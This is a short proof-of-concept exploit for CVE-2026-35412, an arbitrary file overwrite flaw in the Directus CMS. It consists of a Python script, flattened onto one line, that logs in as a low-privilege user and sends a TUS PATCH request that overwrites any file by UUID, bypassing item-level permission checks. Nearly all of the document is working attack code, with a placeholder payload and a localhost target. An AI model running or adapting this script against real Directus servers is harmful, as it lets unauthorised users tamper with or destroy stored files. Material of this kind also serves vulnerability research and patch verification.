CVE-2026-35412 Directus 任意文件覆盖漏洞

import requests # Configuration TARGET_URL = "http://localhost:8080" LOGIN_URL = f"{TARGET_URL}/auth/login" TUS_URL = f"{TARGET_URL}/files/tus" # User credentials (Low privilege user with upload permission) USERNAME = "[email protected]" PASSWORD = "password" # The UUID of the file we want to overwrite TARGET_FILE_UUID = "00000000-0000-0000-0000-000000000001" # 1. Authenticate to get a token session = requests.Session() auth_payload = {"email": USERNAME, "password": PASSWORD} auth_response = session.post(LOGIN_URL, json=auth_payload) if auth_response.status_code != 200: print("Authentication failed") exit(1) access_token = auth_response.json().get('data', {}).get('access_token') print(f"Access Token: {access_token}") # 2. Prepare TUS upload headers to overwrite file # The vulnerability allows overwriting any file UUID without item-level permission check headers = { "Authorization": f"Bearer {access_token}", "Upload-Offset": "0", "Content-Type": "application/offset+octet-stream", "Tus-Resumable": "1.0.0" } # Malicious content to write malicious_content = b"This file has been overwritten by an attacker." # 3. Send PATCH request to the specific UUID exploit_url = f"{TUS_URL}/{TARGET_FILE_UUID}" response = requests.patch(exploit_url, headers=headers, data=malicious_content) if response.status_code in [200, 201, 204]: print(f"[+] Success! File {TARGET_FILE_UUID} has been overwritten.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text)